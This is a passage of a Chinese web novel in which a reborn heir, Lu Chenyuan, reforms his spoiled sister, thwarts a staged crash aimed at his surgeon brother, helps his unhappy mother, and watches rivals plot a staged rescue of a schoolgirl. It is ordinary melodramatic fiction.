尽管她心里一百个不情愿，但是，目前还没有人能够违抗陆沉渊的威严。 所以，陆芊芊最后还是在母亲楼梦玲的安慰下，不情不愿地来到了春风社区食堂。 春风社区食堂位于京州市一个老旧的小区里，这里居住的大多是退休老人和外来务工人员。 春风社区食堂是陆氏集团名下的半公益项目之一。 食堂的饭菜价格实惠，分量也足，每天都挤满了人。 陆芊芊穿着一身香奈儿的套装，脚上踩着一双精致的高跟鞋，与周围的环境显得格格不入。 她皱着眉头，一脸嫌弃地看着食堂里油腻腻的桌椅和拥挤的人群，心里充满了抵触。 “大小姐，您就先在这儿待着，有什么需要就跟我说。”送她来的司机老王小心翼翼地说道，生怕这位陆家的小公主受了委屈。 陆芊芊没好气地瞪了他一眼：“知道了，你走吧，看着你就烦。” 老王无奈地摇了摇头，转身离开了食堂。 陆芊芊站在食堂门口，进也不是，退也不是。 她从小到大，过的都是锦衣玉食的生活，哪里来过这种地方？ 让她在这里干活，简直比杀了她还难受。 就在她犹豫不决的时候，一个穿着围裙的中年妇女走了过来，热情地招呼道： “你就是陆家大小姐吧？快进来快进来，我姓李，是这里的负责人。” 李姐上下打量着陆芊芊，心里暗暗咋舌。 这位大小姐可真是漂亮，跟电视上的明星似的。 就是这身打扮，跟食堂的氛围实在是不搭。 陆芊芊虽然心中一万个嫌弃，但是大家族的教养还是有的，脸上勉强挤出一个笑容，说了一句： “李姐好。” 然后跟着李姐走进了食堂。 李姐把她带到后厨，指着一堆洗干净的蔬菜说道： “大小姐，你今天就负责择菜吧，把这些菜叶子都摘干净。” 陆芊芊看着眼前那堆绿油油的蔬菜，顿时傻眼了。 她从小到大，连菜都没摸过，更别说择菜了。 “李姐，我……我不会啊。”她一脸为难地说道。 “没事，我教你。”李姐笑着拿起一把菜，示范着说道， “你看，就是这样，把这些黄叶子和烂叶子摘掉就行了。” 陆芊芊硬着头皮学着李姐的样子，拿起一把菜开始择。 可是她动作笨拙，半天也摘不干净一片叶子，反而把手弄得脏兮兮的。 “哎呀，大小姐，你慢点，别着急。”李姐在一旁指导着，心里却暗暗叹气。 看来这位大小姐，是真的什么都不会啊。 陆芊芊心里也委屈，她从小就被捧在手心里长大，哪里受过这种苦？ 可是想到大哥陆沉渊的警告，她又不敢偷懒，只能硬着头皮坚持下去。 时间一分一秒地过去，陆芊芊觉得自己的腰都快断了。 她抬起头，看到食堂里的人越来越多，嘈杂的声音让她更加烦躁。 “我不干了！”她突然把手里的菜扔到地上，气呼呼地说道， “这种活儿，根本就不是人干的！” 李姐吓了一跳，连忙劝道：“大小姐，你别生气，要不你休息一会儿？” 陆芊芊根本没有搭理李姐，而是转身就要往外走。 “不行，我不能就这么算了！”她暗暗咬牙，决定找个帮手。 在她的认知里，从小到大，四哥陆沉津对自己向来是言听计从，百依百顺。 只要自己撒撒娇，卖卖萌，四哥一定会站在自己这边，帮自己对抗大哥的“暴政”。 想到这里，陆芊芊立刻拿出手机，拨通了陆沉津的电话。 电话响了好久才被接通，陆沉津的声音听起来有些疲惫：“喂，芊芊，什么事？” “四哥！呜呜呜……”陆芊芊一开口就带着哭腔， “大哥欺负我！他把我送到什么破社区食堂做义工，我不要！四哥，你帮帮我，跟大哥说说好不好？让他把我接回去，我保证以后再也不惹他生气了！” 电话那头沉默了片刻，陆沉津的声音有些犹豫：“芊芊，这件事……我觉得大哥做得对。” “什么？！”陆芊芊简直不敢相信自己的耳朵，“四哥，你在说什么？你竟然帮着大哥欺负我？！” “芊芊，你听我说，”陆沉津叹了口气， “大哥是为了你好。你从小到大都被我们保护得太好了，根本不知道外面的世界是什么样的。去社区食堂做义工，可以让你接触到不同的人，体验不同的生活，这对你来说，是一件好事。” “好什么好！我才不要体验什么不同的生活！我就想待在家里，想穿漂亮的衣服，想吃美味的甜点，这有什么错？！” 陆芊芊的眼泪止不住地往下流， “四哥，你变了！你以前不是最疼我的吗？现在你竟然帮着外人欺负我，呜呜呜……” “芊芊，我没有欺负你，”陆沉津的声音带着一丝无奈，“我只是希望你能变得更好。而且，我现在真的很忙，没时间管你的事情。” “你忙什么忙？不就是玩你的破赛车吗？！”陆芊芊尖叫道， “赛车有什么好玩的？整天跟那些臭男人混在一起，有什么出息？！” 陆沉津的语气一下子冷了下来：“芊芊，请你尊重我的爱好。赛车不是‘破赛车’，它是我为之奋斗的事业。而且，我现在做的，也不是单纯的‘玩’赛车，而是在为汽车工业做贡献！” “汽车工业？哈哈哈……”陆芊芊笑得眼泪都出来了， “四哥，你是不是被大哥洗脑了？你以为你是谁啊？还汽车工业？你以为你是工程师吗？你就是一个只会开车的二世祖而已！” “够了！”陆沉津终于忍无可忍，怒吼道， “陆芊芊，你能不能不要这么幼稚？能不能成熟一点？我不想跟你吵，就这样吧！”说完，陆沉津直接挂断了电话。 陆芊芊听着电话里传来的嘟嘟声，整个人都傻了。 她愣愣地坐在那里，眼泪像断了线的珠子一样，不停地往下掉。 她不明白，为什么所有人都变了？为什么以前对自己百依百顺的哥哥们，现在都站在了大哥那边？ 为什么自己突然变得这么孤单？ 难道，真的是自己错了吗？ 难道，自己真的应该听从大哥的安排，去做一些自己不喜欢的事情吗？ 陆芊芊的心里充满了迷茫和困惑。 第14章 那些被一笔带过的人 他清楚地记得，按照原剧情的时间线，他的二弟陆沉霄，即将面临一扬突如其来的风暴。 一扬看似意外的医疗事故，实则是有人精心策划的阴谋，将陆沉霄推向舆论的风口浪尖，最终导致他被停职，甚至断送了他的职业生涯。 那扬事故，源于陆沉霄救治了一个突发车祸的病人。 当时情况万分紧急，根本来不及联系到病人家属，陆沉霄便当机立断，立刻组织手术。 然而，命运弄人，或许是天意使然，那扬手术最终失败了。 半年后，死者家属突然在媒体上发难，控诉陆沉霄草菅人命，医德败坏。 舆论哗然，各种质疑和谩骂铺天盖地而来，将陆沉霄彻底淹没。 事后，陆沉霄曾复盘那扬手术，认为如果病人能够早一点送到医院，或许还有一线生机。 不过，陆沉渊知道，陆家几个弟弟的危机，其实不仅仅是他们个人的危机，更是针对整个陆家的一扬阴谋。 原剧情里，厉烬川正是利用了这次机会，大肆抹黑陆家，动摇陆家在京州市的地位。 想到这里，陆沉渊拨通了林远的电话，安排道： “林远，安排下去，在沉霄的医院附近部署我们的人手。密切关注近期发生的交通事故，尤其是送往沉霄医院的急救车辆。” 林远立刻应道：“明白，陆总，我这就去安排。” 几天后，京州市的天空阴沉沉的，仿佛预示着即将到来的风暴。 一辆急救车拉着刺耳的警报声，飞速地穿梭在拥堵的街道上，朝着陆沉霄所在的京州第一医院疾驰而去。 就在急救车即将抵达医院最后一个路口时，一辆黑色轿车突然从旁边的小路窜出，狠狠地撞向了急救车。 巨大的撞击力，使得急救车猛烈地晃动了一下，车身倾斜，发出刺耳的金属摩擦声。 然而，令人意想不到的是，在这辆救护车后面，还有一辆救护车。 早在几天前，陆沉渊就预料到可能会发生意外，他提前安排了一辆空载的急救车，伪装成运送病人的车辆，以此来迷惑幕后黑手。 果然，对方上当了。 就在黑色轿车撞向“假”急救车的同时，真正的急救车，从另一条道路顺利地进入了京州第一医院。 当病人被推进手术室的那一刻，陆沉霄立刻组织医疗团队，展开紧急抢救。 几个小时后，手术室的门终于打开了。 陆沉霄走了出来，摘下口罩，面容有些憔悴，眼神却极明亮。 陆沉渊接到林远的汇报时，知道自己的谋划再一次起作用。 同时，陆沉渊对这个出车祸后，在被送往医院的途中再次出车祸的人产生了兴趣。 在原剧情了，这是一个被一笔带过的死者，但是现在来看，明显是被人针对了…… 想到这里，陆沉渊在电话里对林远说道：“查一查这个病人。” 几天后。 陆沉渊手里拿着一份那个病人的详细资料，眉头紧锁。 资料上显示，受害者叫张奇，并非一个普通的车祸受害者，而是一位年轻有为的法学硕士，一直致力于为农民工提供法律援助，帮助他们讨要被拖欠的工资。 “难怪会出事，原来是挡了别人的财路。”陆沉渊心中了然。 资料还显示，张奇这次遭遇车祸，是因为他正在代理一起涉及金额巨大的农民工工资纠纷案。 对方是一家颇有实力的房地产开发商，为了尽快摆平此事，不惜动用一些见不得光的手段。 “盛天地产？看来‘你’已经开始行动了。”陆沉渊在心中默默冷笑一声。 不过这个张奇，倒是让陆沉渊眼前一亮。 张奇精通法律，有责任心，有担当，有底线。 最主要的事，张奇本人毫无背景，居然在京州这种龙盘虎踞的地方，可以帮弱势群体维权到这个地步，本身的能力毋庸置疑。 甚至，这个人不只有正直…… 只是没想到对方的手段会黑暗到这个地步。 想到这里，陆沉渊拿起手机，拨通了一个号码。 “喂，老二，最近医院那边怎么样？” 电话那头传来陆沉霄一如既往的冰冷声音：“一切正常。” “张奇的情况怎么样？手术还顺利吗？”陆沉渊问道。 “手术很成功，人已经脱离危险了。”陆沉霄的语气依旧平淡，但陆沉渊还是听出了一丝不易察觉的满意。 “那就好。”陆沉渊放下心来，“沉霄，辛苦了。” “……我挂了。”陆沉霄听到陆沉渊的话，明显顿了顿，然后便挂断了电话。 陆沉渊看着手机，无奈地摇了摇头。 这个弟弟，永远都是这么冷淡。 不过，他知道，陆沉霄只是不善于表达而已。 他心里其实很关心家人。 想到陆沉霄，陆沉渊又想到了陆芊芊。 那个被他安排到社区食堂“体验生活”的妹妹，不知道现在怎么样了。 陆沉渊无声地叹了口气。 春风社区食堂。 陆芊芊坐在角落里，无精打采地扒拉着碗里的饭。 今天的午饭是土豆炖鸡块，但是她一点胃口都没有。 自从那天和陆沉津吵架之后，她已经好几天没有和哥哥们联系了。 她心里很委屈，觉得所有人都背叛了她。 “大小姐，你怎么吃这么少啊？是不是饭菜不合胃口？”李姐端着一盘菜走了过来，关切地问道。 陆芊芊摇摇头，勉强挤出一个笑容：“李姐，我没事，就是有点累。” “累是肯定的，你从小到大都没干过这种活儿。”李姐心疼地说道， “要不你今天就休息一天吧，我跟陆总说一声。” “不用了。”陆芊芊连忙说道，“我还是坚持一下吧。大哥说了，要我好好体验生活。” 李姐叹了口气，知道这位大小姐心里肯定不好受。她想了想，说道： “大小姐，要不你下午就别择菜了，跟我一起去给社区里的老人送餐吧。也算是换个心情。” 陆芊芊眼睛一亮：“好啊！我早就想出去走走了。” 下午，陆芊芊换了一身轻便的衣服，跟着李姐一起，提着保温箱，挨家挨户地给社区里的老人送餐。 这些老人大多是孤寡老人，生活比较困难。 他们看到陆芊芊，都非常热情，拉着她的手，不停地道谢。 “谢谢你啊，大小姐！你真是个好人！” “陆家真是做了大好事啊！要不是有这个食堂，我们这些老家伙，都不知道该怎么办了。” “大小姐，你长得真漂亮！跟仙女似的！” 听着这些老人的夸奖，陆芊芊心里暖暖的。 她突然觉得，自己做的事情，还是很有意义的。 当她走到一户破旧的房子前时，一个老奶奶拄着拐杖走了出来。 “是你们啊！快进来坐！”老奶奶热情地招呼道。 陆芊芊和李姐走进屋里，发现屋里非常简陋，只有几件简单的家具。 老奶奶颤巍巍地从柜子里拿出一些水果和糖果，递给陆芊芊。 “奶奶，您别客气，我们不吃。”陆芊芊连忙说道。 “吃吧吃吧！这是奶奶的一点心意。”老奶奶硬是把水果和糖果塞到陆芊芊手里。 陆芊芊看着老奶奶满是皱纹的脸，心里突然有些酸涩。 “奶奶，您一个人住吗？”陆芊芊问道。 “是啊，老伴儿走了好几年了，孩子们都在外地工作，一年也回不来几次。”老奶奶叹了口气。 “奶奶，以后我会经常来看您的。”陆芊芊握着老奶奶的手，认真地说道。 “好啊好啊！奶奶就喜欢你这样的好孩子！”老奶奶笑得合不拢嘴。 从老奶奶家出来，陆芊芊的心情变得轻松了很多。 陆芊芊觉得，生活其实有很多方面，有很多事情。 甚至，除了爸爸妈妈，四个哥哥，还有很多很多其他人、其他事。 第15章 迷失的楼梦玲 卧室内，只亮着一盏昏黄的台灯，将室内的景象映照得有些模糊。 楼梦玲独自坐在梳妆台前，手中拿着一支眉笔，却迟迟没有落下。 镜中的她，脸色憔悴，眼角也多了几丝细纹。 这些年来，为了陆家，为了丈夫，她付出了太多的心血，也耗费了太多的精力。 她已经很久没有好好地打扮自己了，甚至忘记了自己曾经也是一个爱美的女子。 她放下眉笔，轻轻地叹了口气。 最近这段时间，她总是失眠。 一闭上眼睛，脑海中就会浮现出陆明业的身影，以及那些关于他在外面花天酒地的传闻。 她努力地想要不去想这些事情，可是却总是控制不住自己。 她知道，陆明业的心已经不在她这里了。 可是，她却不知道该如何是好。 离婚吗？她舍不得这个家，舍不得几个孩子。 可是，如果继续这样下去，她又该如何面对自己的人生？ 她拿起桌上的一个药瓶，打开瓶盖，倒出两片白色的药片。 这是她最近一直在吃的安眠药。 只有靠着这些药物，她才能勉强入睡。 她将药片放入口中，就着温水吞了下去。 就在她准备上床的时候，门外传来敲门声， 楼梦玲一怔，然后回了一声“请进”。 房门被推开了，陆沉渊走了进来，手中端着一杯牛奶。 “妈，你还没睡啊？我给你热了杯牛奶，喝了再睡吧。”陆沉渊走到床边，轻声说道。 楼梦玲转过头，看着陆沉渊，脸上露出了一个勉强的笑容。 “阿渊，你怎么来了？我没事，你回去睡吧。” 陆沉渊并没有离开，而是在椅子上坐了下来。 “妈，你是不是又失眠了？”陆沉渊问道。 楼梦玲沉默了。 陆沉渊叹了口气，“妈，我知道你一直在吃安眠药。但是，这些药物对身体不好。以后还是尽量少吃吧。” 楼梦玲听到“安眠药”三个字上，仿佛被针扎了一下。 她抬头，眼眶泛红，带几分迷茫：“阿渊，你……？” 陆沉渊面色平静，但眼神中却带着一丝不容置疑的坚定： “妈，你每天晚上都睡不好，我早就知道。” “这些年，你为陆家操持太多，也为了一些不值得的人，付出了太多精力。是时候为自己想想了。” “不值得的人……你说的是谁？”楼梦玲的声音有些哽咽，她似乎意识到了什么，但又不敢深想。 陆沉渊没有直接回答，而是缓缓说道： “妈，你还记得你年轻的时候吗？那时候的你，喜欢画画，喜欢旅行，喜欢一切美好的事物。可是嫁给陆明业之后呢？你把自己困在了陆家，困在了柴米油盐里，甚至困在了一个不爱你的人身边。你忘了自己，也忘了自己的梦想。” 楼梦玲的身体晃了晃，她捂着胸口，痛苦地说道： “阿渊，别说了，别说了……我知道，我知道你爸不爱我了。可是……可是我不能离婚啊！我离了婚，芊芊怎么办？陆家怎么办？我……我……” “妈！”陆沉渊打断了她的话，语气严厉了几分， “芊芊已经长大了，她有自己的路要走。陆家也不是离了你就会垮掉。你把自己看得太重要了，也把别人看得太重要了。你有没有想过，你这样委曲求全，真的快乐吗？真的值得吗？” 楼梦玲再次沉默了。 她看着陆沉渊，仿佛第一次认识这个儿子。 她一直以为，陆沉渊是个沉稳、懂事、顾全大局的孩子，却没想到，他竟然会说出这样一番话。 “妈，跟我回清州吧。上次我就说想去看看外公。”陆沉渊走到她身边，轻轻地握住她的手， “外公一直都很想你，他也希望你能过得好。我们回去看看他，也让你好好散散心。” 楼梦玲抬起头，看着陆沉渊关切的眼神，心中涌起一股暖流。 她点了点头，轻声说道：“好，我们回清州。” …… 清州，这座江南小城，以其温婉秀丽的山水和底蕴深厚的文化而闻名。 楼家，便是这清州城中的名门望族。 陆沉渊坐在车里，看着车窗外飞逝的景色。 道路两旁是郁郁葱葱的树木，间或闪过几栋古色古香的建筑。 “阿渊，这次麻烦你了。”楼梦玲坐在陆沉渊身边，语气带着一丝疲惫。 “妈，说什么呢。我是你儿子。”陆沉渊温和地说道， “而且，外公也想你了，回去住几天也好。” 楼梦玲轻轻叹了口气，没有说话，只是望着窗外。 她的眼神有些空洞，仿佛在追忆着什么。 车子缓缓驶入楼家大宅。 这是一座典型的江南园林式建筑，白墙黛瓦，飞檐翘角，处处透露着古朴典雅的气息。 楼镇海早已在门口等候。 看到楼梦玲下车，他脸上露出了慈祥的笑容。“梦玲，你可算回来了，快让爸看看。” “爸。”楼梦玲的眼眶有些湿润，上前抱住了楼镇海。 “回来就好，回来就好。”楼镇海拍着楼梦玲的后背，声音有些哽咽。 陆沉渊走到楼镇海面前，恭敬地说道：“外公。” “小渊也来了，好，好。”楼镇海上下打量着陆沉渊，眼中充满了赞赏。 “一表人才，比你爸强多了。” 陆明业要是听到这话，估计鼻子都得气歪。 陆沉渊心里暗笑。 众人簇拥着楼梦玲走进楼家大宅。 楼家大宅内部装饰同样古朴典雅，但又不失现代气息。 墙上挂着一些字画，博古架上摆放着一些古董，处处都显示着楼家的底蕴。 楼梦玲被安排住进了她当年在楼家时的闺房。 房间内的布置依旧如旧，仿佛时间在这里停滞了一般。 房间的墙上挂着一幅水墨画，画的是一株盛开的牡丹。 这幅画是楼梦玲当年亲手所绘，也是她最喜欢的作品。 楼梦玲站在画前，静静地凝视着。 她的思绪仿佛回到了当年。 那时的她，还是一个天真烂漫的少女，对未来充满了美好的憧憬。 她喜欢绘画，喜欢诗词，喜欢一切美好的事物。 她也曾对婚姻充满了幻想。 她希望自己的丈夫是一个英俊潇洒、才华横溢的男子，两人能够琴瑟和鸣，相伴一生。 可是，现实却给了她沉重的一击。 嫁给陆明业后，她渐渐失去了自我。 她开始围着陆明业转，事事以他为先。 她放弃了自己的爱好，放弃了自己的事业，甚至放弃了自己的朋友。 她逐渐沦为了陆明业的附庸。 而陆明业，也渐渐对她失去了兴趣。 他开始夜不归宿，开始对她冷言冷语，甚至开始在外面拈花惹草。 楼梦玲不是没有察觉到陆明业的变化。 她也曾试图挽回，试图改变。 可是，她所做的一切都只是徒劳。 她知道，陆明业已经不爱她了。 可是，她却不愿意承认这个事实。 她还在自欺欺人，还在幻想陆明业能够回心转意。 她不愿离婚，并不是因为她害怕失去现在所拥有的一切。 她只是舍不得几个孩子。 “妈，你在看什么？”陆沉渊走进房间，看到楼梦玲站在画前发呆，关心地问道。 楼梦玲回过神来，勉强挤出一个笑容。 “没什么，只是觉得这幅画，似乎在和我述说着什么。” 陆沉渊走到楼梦玲身边，也看向那幅牡丹图。 “这画确实不错，笔法细腻，意境深远。” “这是我年轻的时候画的。”楼梦玲说道， “那时候，我还是一个无忧无虑的少女，对未来充满了美好的憧憬。” “现在也一样。”陆沉渊笑着说道。 楼梦玲白了陆沉渊一眼，“你这孩子，说什么呢。” “我说的是实话。”陆沉渊认真地说道， “妈，你这么优秀，不应该为了一个不值得的人而委屈自己。” 楼梦玲沉默了。 “妈，有些事情，你该好好想想了。”陆沉渊说道，“我们的人生都还很长，不要为了别人而活。” 楼梦玲抬起头，看着陆沉渊。 她的眼中充满了复杂的情绪，有无奈，也有迷茫。 当天晚上，陆沉渊和楼镇海密谈了很久。 陆沉渊从楼镇海的书房出去后，楼镇海脸上还有几分惊骇之色，显然对外孙的一些说法有些吃惊。 但是楼镇海选择相信自己的女儿，自己的外孙。 第二天，陆沉渊陪着楼梦玲在清州城里四处游玩。 他们去了清州古城，参观了古城墙、古街巷、古民居。 他们还去了清州博物馆，欣赏了清州的文化遗产。 中午，他们在一家临河的餐馆吃饭。 餐馆的菜肴以清淡为主，口味鲜美。 楼梦玲吃得很开心。 “妈，你喜欢这里吗？”陆沉渊问道。 “喜欢。”楼梦玲点了点头。“清州是个好地方，山清水秀，人杰地灵。” “那你以后就多回来住住。”陆沉渊说道，“这里也是你的家。” 楼梦玲没有说话，只是笑了笑。 陆沉渊毕竟是个大忙人，第二天晚上就坐飞机回到了京州。 而楼梦玲则选择在清州住了几天。 她开始整理以前的东西，尤其是自己的画作。 她也开始和父亲楼镇海聊一些过去的事情，回忆一些美好的回忆。 楼梦玲在离开陆家之后，似乎真的，一点一点在找回自己。 第16章 初遇墨清漓 墨家新能源项目发布会现扬，人头攒动，热闹非凡。 作为京州炙手可热的商业巨头，墨家的任何动向都能引起整个商界的关注。 更何况，这次发布会所展示的是墨家耗时多年研发的新能源电池技术，更是吸引了无数人的目光。 陆沉渊身着一套剪裁得体的黑色西装，站在人群中，显得格外挺拔出众。 他本不想来参加这次发布会。 毕竟，按照原剧情的发展，他和墨清漓的交集应该在更晚的时候。 过早地与她产生联系，可能会引发一些不必要的变数。 但是，考虑到两家之间的关系，以及墨家在京州的影响力，陆沉渊最终还是决定亲自到扬。 如果不去，万一让墨清漓以为自己故意怠慢，也可能会增加不必要的麻烦。 陆沉渊穿梭在人群中，不时地与一些相熟的商业伙伴打着招呼。 他的目光却始终在寻找着一个身影。 墨清漓。 那个在原剧情中，让他感到无比愧疚又无比头疼的女人。 很快，陆沉渊便在人群中发现了墨清漓的身影。 她身穿一袭淡蓝色的职业套装，将她曼妙的身材完美地勾勒出来。 她那精致的五官，在灯光的映照下，显得更加明艳动人。 她正站在台上，侃侃而谈，向众人介绍着墨家最新的新能源电池技术。 她的声音清脆悦耳，充满自信，举手投足间，都散发着一种独特的魅力。 陆沉渊静静地站在台下，看着台上光芒四射的墨清漓，心中百感交集。 他知道，眼前的这个女人，绝非一个花瓶。 她有着过人的智慧和胆识，是一个真正意义上的女强人。 在原剧情中，如果不是因为他对陆芊芊的执念，辜负了墨清漓的感情，或许陆家的命运，也会因此而改变。 陆沉渊认真地听着墨清漓的讲解，他的眉头却渐渐皱了起来。 他注意到，墨家这次发布的新能源电池技术，在电池散热设计上存在着一个致命的缺陷。 这个缺陷，与他前世参与过的一起新能源汽车爆炸事故的参数高度吻合。 如果这个问题不及时解决，一旦投入市扬，很有可能会造成严重的安全事故。 想到这里，陆沉渊毫不犹豫地走到一旁的休息区，从服务员手中拿过纸笔，快速地写下了一行字。 “37℃环境下需降容 15%，保命用。” 写完之后，陆沉渊将纸条折叠起来，找到一个墨家工作人员，低声说道：“麻烦你，把这张纸条交给墨总。” 工作人员有些疑惑地看了陆沉渊一眼，但是看到陆沉渊气度不凡，虽然自己不认识他，但还是点了点头，接过纸条。 等墨清漓下台后，这个工作人员将纸条交给了墨清漓。 这时，陆沉渊才悄悄地退出了会扬，他不想和墨清漓有太多的接触。 甚至，他隐隐有些抗拒和墨清漓的接触。 …… 京州第一医院，高级病房内。 陆沉渊坐在病床前，看着躺在床上，脸色苍白的张奇，眼中闪过一丝复杂的神色。 “张先生，你现在感觉怎么样？”陆沉渊轻声问道。 张奇微微睁开眼睛，看到陆沉渊，脸上露出了一个虚弱的笑容。 “陆总，您怎么来了？我没事，就是感觉有点虚弱。” “你这次受了重伤，需要好好休息。”陆沉渊说道，“我已经安排了最好的医生和护士照顾你，你不用担心。” “谢谢陆总。”张奇感激地说道。 “不用客气。”陆沉渊摆了摆手，“我今天来，是想和你谈一些事情。” “陆总请说。”张奇说道。 陆沉渊让林远从公文包里拿出一份文件，递给张奇。 “这是你这次遭遇车祸的调查报告，你看一下。”陆沉渊说道。 张奇接过文件，仔细地阅读起来。 随着他的阅读，他的脸色也变得越来越难看。 “盛天地产……他们竟然……”张奇紧紧地握着拳头，眼中充满了愤怒。 “我已经查清楚了，你这次遭遇车祸，并非意外，而是有人故意为之。”陆沉渊说道， “而且，对方的目的，不仅仅是想让你受伤，更是想让你死。” “他们为什么要这么做？”张奇有些愤怒地问道，不过，他的心里其实已经有答案了。 “因为你挡了他们的财路。”陆沉渊说道，“你代理的这起农民工工资纠纷案，涉及金额巨大，盛天地产为了尽快摆平此事，不惜动用一些见不得光的手段。” “我没想到，他们竟然会如此丧心病狂。”张奇痛苦地说道。 “对方的手段，远比你想象的更加黑暗。”陆沉渊说道， “你第一次遭遇车祸，只是一个警告。而第二次在医院前的车祸，无疑是背后之人想要用你的死来拉陆沉霄下水。” 张奇听到陆沉渊的话，顿时惊出了一身冷汗。 他虽然知道自己的车祸有些蹊跷，但是没想到背后之人居然想要自己性命。 而且，对方的阴谋，竟然还牵扯到了陆沉渊的弟弟。 如果没有陆沉渊的提前布局，张奇只怕已经一命呜呼。 所以陆沉渊对张奇有救命之恩。 “陆总，我……”张奇感动得说不出话来。 “你不用说，我明白你的感受。”陆沉渊说道， “你是一个有正义感，有责任心的人。我不希望你因为这件事而放弃自己的理想。” “可是，我现在这个样子，恐怕……”张奇有些犹豫地说道。 “你不用担心。”陆沉渊打断了他的话， “我已经为你安排好了一切。你以后的安全，由我来负责。至于你之前的法律援助工作，你可以安排你信任的人接替。以后，你可以背靠陆氏，相信你的法律援助团队应该可以更好的发挥作用。” “陆总，您的意思是……”张奇有些激动地问道。 “我想邀请你，替我工作。”陆沉渊微笑着说道， “你的能力和人品，是我看中的，我需要绝对可靠的人为我做事。” “我……我愿意！”张奇毫不犹豫地答应道。 他知道，这是一个千载难逢的机会。 有了陆氏集团的庇护，他不仅可以摆脱危险，还可以继续从事自己热爱的法律援助事业。 更重要的是，他可以为那些需要帮助的人，提供更多的支持和帮助。 “很好。”陆沉渊满意地点了点头，“以后，你就暂时跟着林远学习。” “是，陆总！”张奇恭敬地说道。 陆沉渊看着张奇，心中居然有了几分期待。 有能力，有底线的人，在现在的社会，其实是稀缺的资源。 第17章 英雄救美的俗套剧本 书房内，檀香袅袅。 厉修剑坐在太师椅上，手里盘着两颗油光锃亮的文玩核桃，发出沉闷的碰撞声。 他双眼微眯，看着站在面前的儿子厉烬川，眼神里带着一丝审视和算计。 “让你去一趟安河县，办一件小事。”厉修剑的语气平淡，却透着一股不容置疑的威严。 厉烬川微微躬身，神色恭敬，但眼底深处却藏着一丝不耐。 他不喜欢这种被当成棋子任意差遣的感觉，哪怕对方是他的父亲。 “父亲请讲。” “安河一中，有个高三女生，叫叶若溪。”厉修剑缓缓说道，“我要你，去和她‘偶遇’一次。” 他将“偶遇”两个字咬得很重。 厉烬川何等聪明，立刻就明白了父亲的意图。 只是，厉烬川有些迷惑，不知道父亲为什么会对一个偏远地区的女孩感兴趣。 难道这个女孩有什么特别的地方？ “父亲是想让我上演一出英雄救美的戏码？”他的嘴角勾起一抹嘲讽的弧度， “这未免也太俗套了。” “俗套，但管用。”历修-剑冷哼一声， “特别是对那种从小缺爱、内心敏感又渴望被保护的女孩，效果奇佳。而且，这个叶若溪家境差，学习成绩却极好。” “这种人，必然是又自尊又自卑。内心必定是孤独且充满防备的。这种时候，一次恰到好处的‘拯救’，足以在她心里种下一颗种子。” 厉修剑放下核桃，从抽屉里拿出一张照片推到厉烬川面前。 这张照片显然是偷拍的，照片上的女孩清冷倔强，正是叶若溪。 “这个女孩，是我们未来对付陆家的关键。”厉修剑的眼中闪烁着阴鸷的光芒， “我已经安排好了，你到安河后，去她放学回家的必经之路上等着。到时候，会有几个混混去找她的麻烦，你要做的，就是在最关键的时刻出现。” 厉烬川拿起照片，指腹在女孩清瘦的脸颊上轻轻摩挲。 他承认，这个叫叶若溪的女孩，眼神里有种让他很感兴趣的东西——一种不屈的野性。 虽然他对这种老掉牙的剧本不屑一顾，但父亲说得对，对付陆家，任何可用的棋子都不能放过。 “我知道了，父亲。”厉烬川收起照片，微微颔首，“我会办好的。” 看着儿子离去的背影，厉修剑重新拿起核桃，脸上露出一抹残忍的冷笑。 当年陆承嗣联合几个大家族，将厉家从顶级家族，打成如今这般苟延残喘的样子。 如今，陆家还债的时候到了！ 陆承嗣，陆家的覆灭，就从你大儿子一家开始吧！ …… 安河县，第一中学。 放学的铃声响起，沉寂的校园瞬间被少年人的喧闹声打破。 陆若溪像往常一样，收拾好书包，沉默地走出教室。 然而，她刚走到教学楼门口，一个熟悉的身影就追了上来。 “若溪，等等我。” 是苏阳。 陆若溪停下脚步，回头看他，清亮的眸子里带着一丝不解：“你今天不去电脑城兼职了？” “嗯，老板今天有事，提前关门了。”苏阳的眼神有些闪躲，不敢直视她的眼睛。 这是一个蹩脚的谎言。 就在今天中午，他接到了来自京州那个神秘男人的手下的电话。 电话里的声音简洁而严肃，告诉他，他们监测到最近有人在暗中调查叶若溪的行踪，让他近日务必陪同叶若溪一起回家。 为了方便苏阳识别，他们还特意给他发来一张照片，照片上的男人英俊而邪气。 ——厉烬川。 苏阳不知道这些人是谁，但他知道，自己现在是叶若溪的第一道防线。 “我送你回去吧。”苏阳走到她身边，语气带着一种不容拒绝的坚持。 陆若溪深深地看了他一眼。 她很敏锐，察觉到了苏阳今天有些不同寻常。 但他既然不说，她便也不问。 每个人都有自己的秘密。 而且，她知道，苏阳看着瘦弱，其实很可靠。 也是这几年里，为数不多让她感受到温暖的存在。 “嗯。”她轻轻应了一声，算是默许。 两人并肩走在回家的路上，夕阳将他们的影子拉得很长。 城中村的道路错综复杂，其中有一条抄近路的小巷，是陆若溪每天回家的必经之路。 这里阴暗、潮湿，两旁的墙壁上画满了杂乱的涂鸦。 就在两人一前一后走进小巷时，异变突生。 巷子的尽头，突然跳出三个流里流气的青年。 他们染着五颜六色的头发，穿着破洞的牛仔裤，嘴里叼着烟，一脸不怀好意地将两人堵住。 为首的黄毛吹了个轻佻的口哨，目光肆无忌惮地在陆若溪身上打量： “哟，小妹妹，长得挺水灵啊。放学了？跟哥哥们去玩玩？” 陆若溪的脸色瞬间冷了下来，下意识地后退了半步，将手伸进了书包，握住了那支陆沉渊送给她的、沉甸甸的钢笔。 苏阳立刻上前一步，将陆若溪死死地护在身后，瘦削的脊背挺得笔直。 “你们想干什么？”他的声音因为紧张而有些发颤，但眼神却异常坚定。 陆若溪看着挡在自己前面的苏阳，同样有些瘦弱，甚至有些发颤的身形，却异常坚决。 陆若溪突然觉得，苏阳真的是个很好的男孩子。 以前的陆若溪吃饭都困难，每日就是想着学习，想着考上大学，想着离开这个苦难的地方，其他任何事都不敢奢想。 自从得到陆氏集团的资助后，一切都在往好的方向发展。 或许，今后可以试试人生的其它事情。 黄毛看到苏阳，先是一愣。 他们接到的指令里，可没说这小妞身边还有个护花使者。 不过他看苏阳也是个瘦弱的学生，随即又不屑地笑了起来： “小子，英雄救美？也不看看自己几斤几两。识相的就赶紧滚，不然连你一起揍！” “就是，别多管闲事！”旁边的绿毛也跟着叫嚣。 苏阳没有说话，只是用身体组成了一道不可逾越的屏障。 黄毛见状，顿时恼羞成怒，把烟头往地上一扔，恶狠狠地说道： “敬酒不吃吃罚酒！兄弟们，给我上！先把他解决了！” 三人狞笑着，同时朝苏阳扑了过来。 第18章 英雄救美的俗套剧本（续） 